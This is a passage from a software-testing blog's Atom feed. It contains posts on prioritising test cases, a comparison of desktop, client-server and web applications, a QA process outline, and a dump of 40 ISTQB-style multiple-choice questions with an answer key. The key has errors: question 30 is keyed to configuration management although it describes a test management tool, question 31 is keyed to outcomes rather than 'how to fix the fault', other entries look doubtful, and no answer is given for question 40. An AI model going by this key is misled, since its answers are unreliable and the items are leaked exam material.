&lt;br /&gt;
Scheme – 3: Brainstorming to dig out the problematic areas.&lt;br /&gt;
&lt;br /&gt;
Scheme – 4: Combination of different schemes.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Let us discuss the priority categorization scheme in greater detail here.&lt;br /&gt;
&lt;br /&gt;
Easiest of all methods for categorizing our tests is to assign a priority code directly to every test description. This involves assigning a unique number to each &amp; every test description.&lt;br /&gt;
&lt;br /&gt;
A popular three-level priority categorization scheme is described as under&lt;br /&gt;
&lt;br /&gt;
Priority - 1: Allocated to all tests that must be executed in any case.&lt;br /&gt;
&lt;br /&gt;
Priority - 2: Allocated to the tests which can be executed, only when time permits.&lt;br /&gt;
&lt;br /&gt;
Priority - 3: Allocated to the tests, which even if not executed, will not cause big upsets.&lt;br /&gt;
&lt;br /&gt;
After assignment of priority codes, the tester estimates the amount of time required to execute the tests selected in each category. In case the estimated time happens to lie within the allotted schedule, means successful identification of tests &amp; completion of the partitioning exercise. In case of any deviation of time plans, partitioning exercise is carried out further.&lt;br /&gt;
&lt;br /&gt;
There is another extension to the above scheme i.e. new five-level scale using which we can classify the test priorities further.&lt;br /&gt;
&lt;br /&gt;
The Five-Level Priority scheme is as under&lt;br /&gt;
&lt;br /&gt;
Priority-1a: Allocated to the tests, which must pass, otherwise the delivery date will be affected.&lt;br /&gt;
&lt;br /&gt;
Priority-2a: Allocated to the tests, which must be executed before the final delivery.&lt;br /&gt;
&lt;br /&gt;
Priority-3a: Allocated to the tests which can be executed, only when time permits.&lt;br /&gt;
&lt;br /&gt;
Priority-4a: Allocated to the tests, which can wait &amp; can be executed even after the delivery date.&lt;br /&gt;
&lt;br /&gt;
Priority-5a: Allocated to the tests, which have remote probability of execution ever.&lt;br /&gt;
&lt;br /&gt;
Testers plan to divide the tests in various categories. For instance, say tests from priority 2 are further divided among priority levels like 3a, 4a and 5a. Likewise any test can be downgraded or upgraded.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Other considerations used while prioritizing or sequencing the test cases&lt;br /&gt;
&lt;br /&gt;
a) Relative Dependencies: Some test cases are such that they can run only after the others because the one is used to set up the other. This is applicable especially for continuously operating systems involving test run to start from a state created by the previous one.&lt;br /&gt;
&lt;br /&gt;
b) Timings of defect detection: Applies to cases wherein the problems can be detected only when many other problems have been found and already fixed. For example it applies to integration testing involving many components having their own problems at individual components level.&lt;br /&gt;
&lt;br /&gt;
c) Damage or accidents: Applies to cases wherein acute problems or even severe damages can happen during testing unless some critical areas had not been checked before the present test run. For example it applies to embedded software involving safety critical systems, wherein the testers would not prefer to start testing the safety features prior to first testing the other related functions.&lt;br /&gt;
&lt;br /&gt;
d) Difficulty levels: This is one of the most natural &amp; commonly used sequence to execute the test cases involving moving from simple &amp; easy test cases to difficult and complicated ones. This applies to scenarios where complicated problems can be expected. Here the testers prefer to execute comparatively simpler test cases first to narrow down the problematic areas.&lt;br /&gt;
&lt;br /&gt;
5) Combining the test cases: Applies to majority of cases in large-scale software testing exercises involving interleaving and parallel testing to accelerate the testing process.</content><link rel='replies' type='application/atom+xml' href='http://soft-engineering.blogspot.com/feeds/9029652053528447285/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://soft-engineering.blogspot.com/2011/11/test-caes-priorities-for-exceutions.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/9029652053528447285'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/9029652053528447285'/><link rel='alternate' type='text/html' href='http://soft-engineering.blogspot.com/2011/11/test-caes-priorities-for-exceutions.html' title='Test Cases Priorities for executions'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3175749124849961665.post-5562096874859409278</id><published>2011-11-21T02:08:00.001-08:00</published><updated>2011-11-21T02:08:37.960-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Comparsion"/><title type='text'>A comparison chart between Desktop, Client Server and Web Applications</title><content type='html'>&lt;b&gt;Desktop Application&lt;/b&gt;&lt;br /&gt;
Single tier application &lt;br /&gt;
Application runs in single system &lt;br /&gt;
Single user &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Client Server Application&lt;/b&gt;&lt;br /&gt;
2 tier application &lt;br /&gt;
Application runs in two or more systems &lt;br /&gt;
Limited number of users &lt;br /&gt;
Connection exists until logout &lt;br /&gt;
Application is menu driven &lt;br /&gt;
Known network issues in case of intranet as number of clients and servers are known &lt;br /&gt;
Known users &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Web Application&lt;/b&gt;&lt;br /&gt;
3 tier application &lt;br /&gt;
Application runs in two or more systems &lt;br /&gt;
Unlimited number of users &lt;br /&gt;
Disconnected mode (stateless) – management of cookies &lt;br /&gt;
Application is URL driven &lt;br /&gt;
Many issues exist like hardware compatibility, browser compatibility, version compatibility, security issues, performance issues &lt;br /&gt;
Unknown users</content><link rel='replies' type='application/atom+xml' href='http://soft-engineering.blogspot.com/feeds/5562096874859409278/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://soft-engineering.blogspot.com/2011/11/comparison-chart-between-desktop-client.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/5562096874859409278'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/5562096874859409278'/><link rel='alternate' type='text/html' href='http://soft-engineering.blogspot.com/2011/11/comparison-chart-between-desktop-client.html' title='A comparison chart between Desktop, Client Server and Web Applications'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3175749124849961665.post-8652418196426979049</id><published>2011-11-16T01:12:00.001-08:00</published><updated>2011-11-16T01:13:24.234-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="QA and QC"/><title type='text'>QA process</title><content type='html'>&lt;b&gt;A. Startup phase&lt;/b&gt;&lt;br /&gt;
During the startup phase QA effort are targeted mostly to documentation artifacts of the project. The following efforts take place during the phase: &lt;br /&gt;
1. Review and analysis of requirements. QA experts together with development experts analyze the requirements and specification documents in order to eliminate any inconsistencies. Software UI and navigation may be reworked greatly to improve the software usability and make it match common UI standards. New functionality may be offered to extend the required features in order to improve the entire application. Security issues that can be found at the early stage of testing the application may be avoided so project resources can be reduced.&lt;br /&gt;
2. Definition of testing goals and criteria. Definition of testing goals, criteria of meeting the goals, risk assessment, possible ways of risk mitigation.&lt;br /&gt;
3. Definition of testing approaches.Testing approaches and techniques are defined based on software type, project duration, available resources and testing goals. For example, load testing and security analysis are necessary for distributed applications, while automated regression tests are necessary for long-term projects. Tools required to perform the necessary testing are identified.&lt;br /&gt;
4. Resource estimation. QA resource estimation is based on the software specification, required QA documents and chosen testing approaches. Automated regression/load testing scripts reduce resource estimation for long-term projects, but may increase it for short projects.&lt;br /&gt;
5. Document templates approval. Format of all QA related documents should be approved by both sides, and modified if there are any objections or suggestions to already existing set of templates.&lt;br /&gt;
6. Creation of initial testing documents. First versions of test plans and automation plans are created based on the initial versions of software specification and automated testing requirements.&lt;br /&gt;
&lt;b&gt;B. Main phase&lt;/b&gt;&lt;br /&gt;
During the main phase of QA process testing itself takes place, QA artifacts are being created, testing repositories are created, automated tests are developed and executed, found defects are detected and reported, fixes verified, QA documents are completed and maintained: &lt;br /&gt;
1. Creation and maintaining of testing documents. The full required set of QA documents, including low-level documents such as test cases, is created. All QA documents are updated correspondingly when requirements are modified. New test cases are created when defects are identified in order to make sure fixed defects do not appear in the software product during further development. &lt;br /&gt;
2. Manual testing according to testing documents. Continuous testing of software based on created QA documents guarantees that all features described in software requirements are present in the product, are operable and work as expected.&lt;br /&gt;
3. Manual ad hoc testing.Test cases and test plans cannot be created for all possible situations in applications. This is why ad hoc testing (also known as random testing) is also necessary in order to identify defects that cannot be found while performing testing using test plans and test cases.&lt;br /&gt;
4. Usability testing. Manual testing of software product to make sure the application has user friendly interface that meets common UI standards, application navigation is task oriented and allows execution of common tasks in minimal required user actions.&lt;br /&gt;
5. Documentation testing. All product support documentation such as help system, product information on WEB sites and system requirements are tested for consistence with actual software and product specifications.&lt;br /&gt;
6. Security analysis. Security analysis is performed against distributed applications (for instance WEB applications) in order to make sure the applications meet general security requirements. Application should be protected from unauthorized code execution, application data should be protected from unauthorized access, data should be available to authorized users.&lt;br /&gt;
7. Automated testing. Automated test scripts are implemented, maintained and executed against the application in order to identify defects that appear in previously operable features of software due to the latest code changes. Automation of such testing helps to save QA resources and to identify such issues at early stage. Integration of automated tests into application build process is common practice.&lt;br /&gt;
8. Performance testing. Automated testing of application performance is maid against distributed applications in production-like environments in order to make sure server-side part of application is capable of serving the required number of simultaneous user activities. Also performance testing allows identifying actual number of users the application can serve simultaneously to adjust software system requirements or production configuration.&lt;br /&gt;
9. Load/stress testing. Automated load and stress testing scripts are implemented and executed to make sure the application stays stable after continuous load with expected amount of simultaneous users and after short time stress load with more simultaneous users than expected. &lt;br /&gt;
10. Monitoring bugs and fixes.Bugs found by QA team, other teams involved in product development as well as customer bugs are monitored by QA team. Bugs that have insufficient information to reproduce them are reproduced by QA team, exact steps and conditions are populated to bug tracking system. Fixed defects are retested and related documents are updated correspondingly.&lt;br /&gt;
11. Reporting progress and statistics. At each stage of QA activities reports with the full list of current activities and progress of each activity are created and provided to customer. Detailed reports with currently open defects are provided on demand. Current product quality assessments are provided on demand as well.&lt;br /&gt;
&lt;b&gt;C. Release phase&lt;/b&gt;&lt;br /&gt;
Release phase represents QA activities when software product is about to be deployed to production environment or a new version of software is about to be published for customers. &lt;br /&gt;
1. Assessment of testing coverage. Overview of QA activities that have been done, analysis of testing results, assessment of what percentage of the software product has been tested and what additional testing could be performed to guarantee better software quality.&lt;br /&gt;
2. Acceptance testing. The final step of testing performed by QA team and representatives of customer team in order to make sure the software product has the desired quality level and matches customer expectations.&lt;br /&gt;
3. Goal meeting validation. Project goals are compared to criteria to make sure the goal is met.&lt;br /&gt;
4. Review and approval of release notes. Release notes that usually include “What’s new”, “Known issues” and “Bug fixes” sections are made in collaboration with QA team and reviewed by QA team.&lt;br /&gt;
5. Transition of QA artifacts. All artifacts created by QA team during testing of the software product are gathered to a single package and delivered to the customer.</content><link rel='replies' type='application/atom+xml' href='http://soft-engineering.blogspot.com/feeds/8652418196426979049/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://soft-engineering.blogspot.com/2011/11/qa-process.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/8652418196426979049'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/8652418196426979049'/><link rel='alternate' type='text/html' href='http://soft-engineering.blogspot.com/2011/11/qa-process.html' title='QA process'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3175749124849961665.post-6546413682585787882</id><published>2011-10-10T04:07:00.001-07:00</published><updated>2011-10-10T04:18:02.528-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ISTQB Question Paper Dump"/><title type='text'>ISTQB Question Paper Dump 2</title><content type='html'>1) When what is visible to end-users is a deviation from the specific or expected behavior, this is&lt;br /&gt;
called:&lt;br /&gt;
a) an error&lt;br /&gt;
b) a fault&lt;br /&gt;
c) a failure&lt;br /&gt;
d) a defect&lt;br /&gt;
e) a mistake&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2) Regression testing should be performed:&lt;br /&gt;
v) every week&lt;br /&gt;
w) after the software has changed&lt;br /&gt;
x) as often as possible&lt;br /&gt;
y) when the environment has changed&lt;br /&gt;
z) when the project manager says&lt;br /&gt;
a) v &amp; w are true, x – z are false&lt;br /&gt;
b) w, x &amp; y are true, v &amp; z are false&lt;br /&gt;
c) w &amp; y are true, v, x &amp; z are false&lt;br /&gt;
d) w is true, v, x y and z are false&lt;br /&gt;
e) all of the above are true&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3) IEEE 829 test plan documentation standard contains all of the following except:&lt;br /&gt;
a) test items&lt;br /&gt;
b) test deliverables&lt;br /&gt;
c) test tasks&lt;br /&gt;
d) test environment&lt;br /&gt;
e) test specification&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
4) Testing should be stopped when:&lt;br /&gt;
a) all the planned tests have been run&lt;br /&gt;
b) time has run out&lt;br /&gt;
c) all faults have been fixed correctly&lt;br /&gt;
d) both a) and c)&lt;br /&gt;
e) it depends on the risks for the system being tested&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
5) Order numbers on a stock control system can range between 10000 and 99999 inclusive.&lt;br /&gt;
Which of the following inputs might be a result of designing tests for only valid equivalence&lt;br /&gt;
classes and valid boundaries:&lt;br /&gt;
a) 1000, 5000, 99999&lt;br /&gt;
b) 9999, 50000, 100000&lt;br /&gt;
c) 10000, 50000, 99999&lt;br /&gt;
d) 10000, 99999&lt;br /&gt;
e) 9999, 10000, 50000, 99999, 10000&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
6) Consider the following statements about early test design:&lt;br /&gt;
i. early test design can prevent fault multiplication&lt;br /&gt;
ii. faults found during early test design are more expensive to fix&lt;br /&gt;
iii. early test design can find faults&lt;br /&gt;
iv. early test design can cause changes to the requirements&lt;br /&gt;
v. early test design takes more effort&lt;br /&gt;
a) i, iii &amp; iv are true. Ii &amp; v are false&lt;br /&gt;
b) iii is true, I, ii, iv &amp; v are false&lt;br /&gt;
c) iii &amp; iv are true. i, ii &amp; v are false&lt;br /&gt;
d) i, iii, iv &amp; v are true, ii us false&lt;br /&gt;
e) i &amp; iii are true, ii, iv &amp; v are false&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
7) Non-functional system testing includes:&lt;br /&gt;
a) testing to see where the system does not function properly&lt;br /&gt;
b) testing quality attributes of the system including performance and usability&lt;br /&gt;
c) testing a system feature using only the software required for that action&lt;br /&gt;
d) testing a system feature using only the software required for that function&lt;br /&gt;
e) testing for functions that should not exist&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
8) Which of the following is NOT part of configuration management:&lt;br /&gt;
a) status accounting of configuration items&lt;br /&gt;
b) auditing conformance to ISO9001&lt;br /&gt;
c) identification of test versions&lt;br /&gt;
d) record of changes to documentation over time&lt;br /&gt;
e) controlled library access&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
9) Which of the following is the main purpose of the integration strategy for integration testing in&lt;br /&gt;
the small?&lt;br /&gt;
a) to ensure that all of the small modules are tested adequately&lt;br /&gt;
b) to ensure that the system interfaces to other systems and networks&lt;br /&gt;
c) to specify which modules to combine when and how many at once&lt;br /&gt;
d) to ensure that the integration testing can be performed by a small team&lt;br /&gt;
e) to specify how the software should be divided into modules&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10) What is the purpose of test completion criteria in a test plan:&lt;br /&gt;
a) to know when a specific test has finished its execution&lt;br /&gt;
b) to ensure that the test case specification is complete&lt;br /&gt;
c) to set the criteria used in generating test inputs&lt;br /&gt;
d) to know when test planning is complete&lt;br /&gt;
e) to plan when to stop testing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
11) Consider the following statements&lt;br /&gt;
i. an incident may be closed without being fixed&lt;br /&gt;
ii. incidents may not be raised against documentation&lt;br /&gt;
iii. the final stage of incident tracking is fixing&lt;br /&gt;
iv. the incident record does not include information on test environments&lt;br /&gt;
v. incidents should be raised when someone other than the author of the software performs the&lt;br /&gt;
test&lt;br /&gt;
a) ii and v are true, I, iii and iv are false&lt;br /&gt;
b) i and v are true, ii, iii and iv are false&lt;br /&gt;
c) i, iv and v are true, ii and iii are false&lt;br /&gt;
d) i and ii are true, iii, iv and v are false&lt;br /&gt;
e) i is true, ii, iii, iv and v are false&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
12) Given the following code, which is true about the minimum number of test cases required for&lt;br /&gt;
full statement and branch coverage:&lt;br /&gt;
Read P&lt;br /&gt;
Read Q&lt;br /&gt;
IF P+Q &gt; 100 THEN&lt;br /&gt;
Print “Large”&lt;br /&gt;
ENDIF&lt;br /&gt;
If P &gt; 50 THEN&lt;br /&gt;
Print “P Large”&lt;br /&gt;
ENDIF&lt;br /&gt;
a) 1 test for statement coverage, 3 for branch coverage&lt;br /&gt;
b) 1 test for statement coverage, 2 for branch coverage&lt;br /&gt;
c) 1 test for statement coverage, 1 for branch coverage&lt;br /&gt;
d) 2 tests for statement coverage, 3 for branch coverage&lt;br /&gt;
e) 2 tests for statement coverage, 2 for branch coverage&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
13) Given the following:&lt;br /&gt;
Switch PC on&lt;br /&gt;
Start “outlook”&lt;br /&gt;
IF outlook appears THEN&lt;br /&gt;
Send an email&lt;br /&gt;
Close outlook&lt;br /&gt;
a) 1 test for statement coverage, 1 for branch coverage&lt;br /&gt;
b) 1 test for statement coverage, 2 for branch coverage&lt;br /&gt;
c) 1 test for statement coverage. 3 for branch coverage&lt;br /&gt;
d) 2 tests for statement coverage, 2 for branch coverage&lt;br /&gt;
e) 2 tests for statement coverage, 3 for branch coverage&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
14) Given the following code, which is true:&lt;br /&gt;
IF A &gt; B THEN&lt;br /&gt;
C = A – B&lt;br /&gt;
ELSE&lt;br /&gt;
C = A + B&lt;br /&gt;
ENDIF&lt;br /&gt;
Read D&lt;br /&gt;
IF C = D Then&lt;br /&gt;
Print “Error”&lt;br /&gt;
ENDIF&lt;br /&gt;
a) 1 test for statement coverage, 3 for branch coverage&lt;br /&gt;
b) 2 tests for statement coverage, 2 for branch coverage&lt;br /&gt;
c) 2 tests for statement coverage. 3 for branch coverage&lt;br /&gt;
d) 3 tests for statement coverage, 3 for branch coverage&lt;br /&gt;
e) 3 tests for statement coverage, 2 for branch coverage&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
15) Consider the following:&lt;br /&gt;
Pick up and read the newspaper&lt;br /&gt;
Look at what is on television&lt;br /&gt;
If there is a program that you are interested in watching then switch the the television on and&lt;br /&gt;
watch the program&lt;br /&gt;
Otherwise&lt;br /&gt;
Continue reading the newspaper&lt;br /&gt;
If there is a crossword in the newspaper then try and complete the crossword&lt;br /&gt;
a) SC = 1 and DC = 1&lt;br /&gt;
b) SC = 1 and DC = 2&lt;br /&gt;
c) SC = 1 and DC = 3&lt;br /&gt;
d) SC = 2 and DC = 2&lt;br /&gt;
e) SC = 2 and DC = 3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
16) The place to start if you want a (new) test tool is:&lt;br /&gt;
a) Attend a tool exhibition&lt;br /&gt;
b) Invite a vendor to give a demo&lt;br /&gt;
c) Analyse your needs and requirements&lt;br /&gt;
d) Find out what your budget would be for the tool&lt;br /&gt;
e) Search the internet&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
17) When a new testing tool is purchased, it should be used first by:&lt;br /&gt;
a) A small team to establish the best way to use the tool&lt;br /&gt;
b) Everyone who may eventually have some use for the tool&lt;br /&gt;
c) The independent testing team&lt;br /&gt;
d) The managers to see what projects it should be used in&lt;br /&gt;
e) The vendor contractor to write the initial scripts&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
18) What can static analysis NOT find?&lt;br /&gt;
a) The use of a variable before it has been defined&lt;br /&gt;
b) Unreachable (“dead”) code&lt;br /&gt;
c) Whether the value stored in a variable is correct&lt;br /&gt;
d) The re-definition of a variable before it has been used&lt;br /&gt;
e) Array bound violations&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
19) Which of the following is NOT a black box technique:&lt;br /&gt;
a) Equivalence partitioning&lt;br /&gt;
b) State transition testing&lt;br /&gt;
c) LCSAJ&lt;br /&gt;
d) Syntax testing&lt;br /&gt;
e) Boundary value analysis&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
20) Beta testing is:&lt;br /&gt;
a) Performed by customers at their own site&lt;br /&gt;
b) Performed by customers at their software developer’s site&lt;br /&gt;
c) Performed by an independent test team&lt;br /&gt;
d) Useful to test bespoke software&lt;br /&gt;
e) Performed as early as possible in the lifecycle&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
21) Given the following types of tool, which tools would typically be used by developers and&lt;br /&gt;
which by an independent test team:&lt;br /&gt;
i. static analysis&lt;br /&gt;
ii. performance testing&lt;br /&gt;
iii. test management&lt;br /&gt;
iv. dynamic analysis&lt;br /&gt;
v. test running&lt;br /&gt;
vi. test data preparation&lt;br /&gt;
a) developers would typically use i, iv and vi; test team ii, iii and v&lt;br /&gt;
b) developers would typically use i and iv; test team ii, iii, v and vi&lt;br /&gt;
c) developers would typically use i, ii, iii and iv; test team v and vi&lt;br /&gt;
d) developers would typically use ii, iv and vi; test team I, ii and v&lt;br /&gt;
e) developers would typically use i, iii, iv and v; test team ii and vi&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
22) The main focus of acceptance testing is:&lt;br /&gt;
a) finding faults in the system&lt;br /&gt;
b) ensuring that the system is acceptable to all users&lt;br /&gt;
c) testing the system with other systems&lt;br /&gt;
d) testing for a business perspective&lt;br /&gt;
e) testing by an independent test team&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
23) Which of the following statements about the component testing standard is false:&lt;br /&gt;
a) black box design techniques all have an associated measurement technique&lt;br /&gt;
b) white box design techniques all have an associated measurement technique&lt;br /&gt;
c) cyclomatic complexity is not a test measurement technique&lt;br /&gt;
d) black box measurement techniques all have an associated test design technique&lt;br /&gt;
e) white box measurement techniques all have an associated test design technique&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
24) Which of the following statements is NOT true:&lt;br /&gt;
a) inspection is the most formal review process&lt;br /&gt;
b) inspections should be led by a trained leader&lt;br /&gt;
c) managers can perform inspections on management documents&lt;br /&gt;
d) inspection is appropriate even when there are no written documents&lt;br /&gt;
e) inspection compares documents with predecessor (source) documents&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
25) A typical commercial test execution tool would be able to perform all of the following&lt;br /&gt;
EXCEPT:&lt;br /&gt;
a) generating expected outputs&lt;br /&gt;
b) replaying inputs according to a programmed script&lt;br /&gt;
c) comparison of expected outcomes with actual outcomes&lt;br /&gt;
d) recording test inputs&lt;br /&gt;
e) reading test values from a data file&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
26) The difference between re-testing and regression testing is&lt;br /&gt;
a) re-testing is running a test again; regression testing looks for unexpected side effects&lt;br /&gt;
b) re-testing looks for unexpected side effects; regression testing is repeating those tests&lt;br /&gt;
c) re-testing is done after faults are fixed; regression testing is done earlier&lt;br /&gt;
d) re-testing uses different environments, regression testing uses the same environment&lt;br /&gt;
e) re-testing is done by developers, regression testing is done by independent testers&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
27) Expected results are:&lt;br /&gt;
a) only important in system testing&lt;br /&gt;
b) only used in component testing&lt;br /&gt;
c) never specified in advance&lt;br /&gt;
d) most useful when specified in advance&lt;br /&gt;
e) derived from the code&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
28) Test managers should not:&lt;br /&gt;
a) report on deviations from the project plan&lt;br /&gt;
b) sign the system off for release&lt;br /&gt;
c) re-allocate resource to meet original plans&lt;br /&gt;
d) raise incidents on faults that they have found&lt;br /&gt;
e) provide information for risk analysis and quality improvement&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
29) Unreachable code would best be found using:&lt;br /&gt;
a) code reviews&lt;br /&gt;
b) code inspections&lt;br /&gt;
c) a coverage tool&lt;br /&gt;
d) a test management tool&lt;br /&gt;
e) a static analysis tool&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
30) A tool that supports traceability, recording of incidents or scheduling of tests is called:&lt;br /&gt;
a) a dynamic analysis tool&lt;br /&gt;
b) a test execution tool&lt;br /&gt;
c) a debugging tool&lt;br /&gt;
d) a test management tool&lt;br /&gt;
e) a configuration management tool&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
31) What information need not be included in a test incident report:&lt;br /&gt;
a) how to fix the fault&lt;br /&gt;
b) how to reproduce the fault&lt;br /&gt;
c) test environment details&lt;br /&gt;
d) severity, priority&lt;br /&gt;
e) the actual and expected outcomes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
32) Which expression best matches the following characteristics or review processes:&lt;br /&gt;
1. led by author&lt;br /&gt;
2. undocumented&lt;br /&gt;
3. no management participation&lt;br /&gt;
4. led by a trained moderator or leader&lt;br /&gt;
5. uses entry exit criteria&lt;br /&gt;
s) inspection&lt;br /&gt;
t) peer review&lt;br /&gt;
u) informal review&lt;br /&gt;
v) walkthrough&lt;br /&gt;
a) s = 4, t = 3, u = 2 and 5, v = 1&lt;br /&gt;
b) s = 4 and 5, t = 3, u = 2, v = 1&lt;br /&gt;
c) s = 1 and 5, t = 3, u = 2, v = 4&lt;br /&gt;
d) s = 5, t = 4, u = 3, v = 1 and 2&lt;br /&gt;
e) s = 4 and 5, t = 1, u = 2, v = 3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
33) Which of the following is NOT part of system testing:&lt;br /&gt;
a) business process-based testing&lt;br /&gt;
b) performance, load and stress testing&lt;br /&gt;
c) requirements-based testing&lt;br /&gt;
d) usability testing&lt;br /&gt;
e) top-down integration testing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
34) What statement about expected outcomes is FALSE:&lt;br /&gt;
a) expected outcomes are defined by the software’s behaviour&lt;br /&gt;
b) expected outcomes are derived from a specification, not from the code&lt;br /&gt;
c) expected outcomes include outputs to a screen and changes to files and databases&lt;br /&gt;
d) expected outcomes should be predicted before a test is run&lt;br /&gt;
e) expected outcomes may include timing constraints such as response times&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
35) The standard that gives definitions of testing terms is:&lt;br /&gt;
a) ISO/IEC 12207&lt;br /&gt;
b) BS7925-1&lt;br /&gt;
c) BS7925-2&lt;br /&gt;
d) ANSI/IEEE 829&lt;br /&gt;
e) ANSI/IEEE 729&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
36) The cost of fixing a fault:&lt;br /&gt;
a) Is not important&lt;br /&gt;
b) Increases as we move the product towards live use&lt;br /&gt;
c) Decreases as we move the product towards live use&lt;br /&gt;
d) Is more expensive if found in requirements than functional design&lt;br /&gt;
e) Can never be determined&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
37) Which of the following is NOT included in the Test Plan document of the Test Documentation&lt;br /&gt;
Standard:&lt;br /&gt;
a) Test items (i.e. software versions)&lt;br /&gt;
b) What is not to be tested&lt;br /&gt;
c) Test environments&lt;br /&gt;
d) Quality plans&lt;br /&gt;
e) Schedules and deadlines&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
38) Could reviews or inspections be considered part of testing:&lt;br /&gt;
a) No, because they apply to development documentation&lt;br /&gt;
b) No, because they are normally applied before testing&lt;br /&gt;
c) No, because they do not apply to the test documentation&lt;br /&gt;
d) Yes, because both help detect faults and improve quality&lt;br /&gt;
e) Yes, because testing includes all non-constructive activities&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
39) Which of the following is not part of performance testing:&lt;br /&gt;
a) Measuring response time&lt;br /&gt;
b) Measuring transaction rates&lt;br /&gt;
c) Recovery testing&lt;br /&gt;
d) Simulating many users&lt;br /&gt;
e) Generating many transactions&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
40) Error guessing is best used&lt;br /&gt;
a) As the first approach to deriving test cases&lt;br /&gt;
b) After more formal techniques have been applied&lt;br /&gt;
c) By inexperienced testers&lt;br /&gt;
d) After the system has gone live&lt;br /&gt;
e) Only by end users&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Answer&lt;br /&gt;
1 » C&lt;br /&gt;
2 » C&lt;br /&gt;
3 » E&lt;br /&gt;
4 » E&lt;br /&gt;
5 » C&lt;br /&gt;
6 » A&lt;br /&gt;
7 » B&lt;br /&gt;
8 » B&lt;br /&gt;
9 » C&lt;br /&gt;
10 » E&lt;br /&gt;
11 » B&lt;br /&gt;
12 » B&lt;br /&gt;
13 » B&lt;br /&gt;
14 » B&lt;br /&gt;
15 » E&lt;br /&gt;
16 » C&lt;br /&gt;
17 » B&lt;br /&gt;
18 » C&lt;br /&gt;
19 » C&lt;br /&gt;
20 » A&lt;br /&gt;
21 » B&lt;br /&gt;
22 » D&lt;br /&gt;
23 » A&lt;br /&gt;
24 » D&lt;br /&gt;
25 » A&lt;br /&gt;
26 » A&lt;br /&gt;
27 » D&lt;br /&gt;
28 » C&lt;br /&gt;
29 » A&lt;br /&gt;
30 » E&lt;br /&gt;
31 » E&lt;br /&gt;
32 » B&lt;br /&gt;
33 » E&lt;br /&gt;
34 » A&lt;br /&gt;
35 » B&lt;br /&gt;
36 » B&lt;br /&gt;
37 » D&lt;br /&gt;
38 » D&lt;br /&gt;
39 » C&lt;br /&gt;
